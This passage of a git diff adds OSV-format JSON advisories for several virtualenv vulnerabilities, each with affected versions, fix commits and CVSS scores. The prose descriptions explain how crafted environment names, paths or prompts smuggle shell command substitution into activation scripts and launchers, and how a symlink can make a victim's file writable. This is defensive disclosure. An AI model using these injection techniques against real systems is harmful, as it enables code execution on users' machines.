21.14.9.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.0.0"},{"fixed":"21.14.9"}]}],"versions":["20.0.0","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"ecosystem_specific":{},"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/virtualenv/PYSEC-2026-4380.yaml"}}],"references":[{"type":"ADVISORY","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/commit/d25f28699eefb1fc34a251e5adf2b5de844c36cd"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/pull/3431"},{"type":"EVIDENCE","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-558c-9hv2-4prj"}],"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L"}]} \ No newline at end of file diff --git a/data/PyPI/PYSEC-2026-4381.json b/data/PyPI/PYSEC-2026-4381.json new file mode 100644 index 0000000000..3fabebe1f6 --- /dev/null +++ b/data/PyPI/PYSEC-2026-4381.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"PYSEC-2026-4381","published":"2026-10-20T20:17:18.810Z","modified":"2026-11-18T12:10:51.899471924Z","aliases":["BIT-virtualenv-2026-113722","CVE-2026-113722","GHSA-c978-59m8-c77v"],"details":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, virtualenv's ScriptMakerCustom and pip pass an incompletely quoted interpreter path to distlib ScriptMaker when generating POSIX console scripts. When the path contains a space or produces a shebang longer than 127 bytes, distlib emits a /bin/sh wrapper whose double-quoted interpreter path still expands command substitutions and backticks. An attacker who influences the environment destination can therefore execute commands with the user's privileges when the user later runs a generated launcher; environment creation and activation do not trigger the command. Existing launchers are not repaired by upgrading virtualenv alone and must be regenerated, while a later independent pip installation or upgrade can reintroduce an affected launcher because pip's vendored distlib is unchanged. The virtualenv fix is released in version 21.14.9.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.0.0"},{"fixed":"21.14.9"}]}],"versions":["20.0.0","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"ecosystem_specific":{},"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/virtualenv/PYSEC-2026-4381.yaml"}}],"references":[{"type":"ADVISORY","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/commit/2519941bed33ee0d3ac99277f67913e439e476a9"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/pull/3417"},{"type":"EVIDENCE","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-c978-59m8-c77v"}],"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]} \ No newline at end of file diff --git a/data/PyPI/PYSEC-2026-4382.json b/data/PyPI/PYSEC-2026-4382.json new file mode 100644 index 0000000000..302b903233 --- /dev/null +++ b/data/PyPI/PYSEC-2026-4382.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"PYSEC-2026-4382","published":"2026-10-20T20:17:18.967Z","modified":"2026-11-18T12:10:38.476413749Z","aliases":["BIT-virtualenv-2026-113723","CVE-2026-113723","GHSA-6w3r-xr62-4xcp"],"details":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, caller-supplied prompt text can become executable syntax in the bash activation prompt. An attacker must influence the value passed to virtualenv, and a user must subsequently activate the environment and draw the prompt. This vulnerability is fixed in 21.14.9.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.0.0"},{"fixed":"21.14.9"}]}],"versions":["20.0.0","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"ecosystem_specific":{},"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/virtualenv/PYSEC-2026-4382.yaml"}}],"references":[{"type":"ADVISORY","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/commit/5f48d711731311428aebfae61d46957762155b22"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/pull/3418"},{"type":"EVIDENCE","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-6w3r-xr62-4xcp"}],"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]} \ No newline at end of file diff --git a/data/PyPI/PYSEC-2026-4383.json b/data/PyPI/PYSEC-2026-4383.json new file mode 100644 index 0000000000..4975ff7f5f --- /dev/null +++ b/data/PyPI/PYSEC-2026-4383.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"PYSEC-2026-4383","published":"2026-10-20T20:17:19.113Z","modified":"2026-11-18T12:10:52.514839260Z","aliases":["BIT-virtualenv-2026-113724","CVE-2026-113724","GHSA-43mp-35q3-x3fq"],"details":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, the safe_delete() deletion error handler responds to a failed removal by reading mode bits with os.lstat(path) and applying owner-write permission with os.chmod(path, ...), which follows a symlink. A planted link inside a read-only directory can therefore cause a victim-owned target outside the destination that is initially not writable by the invoking user to become broadly writable before the retry fails, provided that user owns the target and can change its mode. Another account can use the widened mode only if it can traverse the target's parent directories; root does not reach the demonstrated failure path, and the operation does not itself read the target. This issue is fixed in version 21.14.9.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"21.7.5"},{"fixed":"21.14.9"}]}],"versions":["21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"ecosystem_specific":{},"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/virtualenv/PYSEC-2026-4383.yaml"}}],"references":[{"type":"ADVISORY","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/commit/2bfdc0230d1b2685fedfcfe66c835b9a2ec7c440"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/pull/3427"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-43mp-35q3-x3fq"}],"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L"}]} \ No newline at end of file diff --git a/data/PyPI/PYSEC-2026-4384.json b/data/PyPI/PYSEC-2026-4384.json new file mode 100644 index 0000000000..1e5539bcec --- /dev/null +++ b/data/PyPI/PYSEC-2026-4384.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"PYSEC-2026-4384","published":"2026-10-20T20:17:19.257Z","modified":"2026-11-18T12:10:58.337631692Z","aliases":["BIT-virtualenv-2026-113725","CVE-2026-113725","GHSA-vxj4-q4g9-crj7"],"details":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.7, the bash activate script escapes the environment name for only one of the two passes bash makes over PS1, so a backslash in the name undoes the escaping and a name containing \\$(...) runs as commands in the user's shell each time bash draws the prompt. This issue is fixed in version 21.14.7.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.7"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"ecosystem_specific":{},"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/virtualenv/PYSEC-2026-4384.yaml"}}],"references":[{"type":"ADVISORY","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.7"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/commit/c3104e02474b652832a9bbaae79f6e1696296932"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-vxj4-q4g9-crj7"}],"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]} \ No newline at end of file diff --git a/data/PyPI/PYSEC-2026-4385.json b/data/PyPI/PYSEC-2026-4385.json new file mode 100644 index 0000000000..87f99a41b2 --- /dev/null +++ b/data/PyPI/PYSEC-2026-4385.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"PYSEC-2026-4385","published":"2026-10-20T22:19:29.423Z","modified":"2026-11-18T12:10:39.867666001Z","aliases":["BIT-virtualenv-2026-113726","CVE-2026-113726","GHSA-5vjq-rrrf-7h2q"],"details":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.13.0, the bash activate script that zsh also sources leaves the environment name unescaped; from 21.13.0 until 21.14.4, it escapes backslashes, dollar signs, and backticks only when BASH_VERSION is set, so zsh receives the raw value. The script assigns that value to PS1. In zsh with PROMPT_SUBST, an attacker-influenced environment directory, --prompt, or VIRTUALENV_PROMPT value containing command, parameter, or arithmetic expansion syntax can therefore execute commands in the user's shell each time the prompt is drawn. A percent sign is separately interpreted as a zsh prompt escape but does not by itself execute commands. Plain zsh with PROMPT_SUBST disabled and bash are not affected by this mechanism. This issue is fixed in version 21.14.4.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.4"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"ecosystem_specific":{},"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/virtualenv/PYSEC-2026-4385.yaml"}}],"references":[{"type":"ADVISORY","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.4"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/commit/5b915367da82bd024b2a0d28d2f98007034b4aa2"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-5vjq-rrrf-7h2q"}],"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]} \ No newline at end of file diff --git a/data/PyPI/PYSEC-2026-4386.json b/data/PyPI/PYSEC-2026-4386.json new file mode 100644 index 0000000000..654830a9a2 --- /dev/null +++ b/data/PyPI/PYSEC-2026-4386.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"PYSEC-2026-4386","published":"2026-10-20T22:19:30.413Z","modified":"2026-11-18T12:10:36.233350896Z","aliases":["BIT-virtualenv-2026-113732","CVE-2026-113732","GHSA-c947-3pg5-gm8q"],"details":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.2, FishActivator inherits ViaTemplateActivator.quote(), which uses POSIX shlex.quote() even though fish interprets backslashes and single quotes differently. An attacker-influenced environment path, --prompt, or VIRTUALENV_PROMPT value containing a backslash before a quote can therefore terminate the generated fish literal and execute command substitution when the user sources activate.fish. This issue is fixed in version 21.14.2.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.2"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"ecosystem_specific":{},"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/virtualenv/PYSEC-2026-4386.yaml"}}],"references":[{"type":"ADVISORY","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.2"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/commit/3bddeaf8d02c3ee7f576503efb082f8f494cfcab"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-c947-3pg5-gm8q"}],"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]} \ No newline at end of file diff --git a/data/PyPI/PYSEC-2026-4387.json b/data/PyPI/PYSEC-2026-4387.json new file mode 100644 index 0000000000..36756c05d2 --- /dev/null +++ b/data/PyPI/PYSEC-2026-4387.json @@ -0,0 +1 @@ 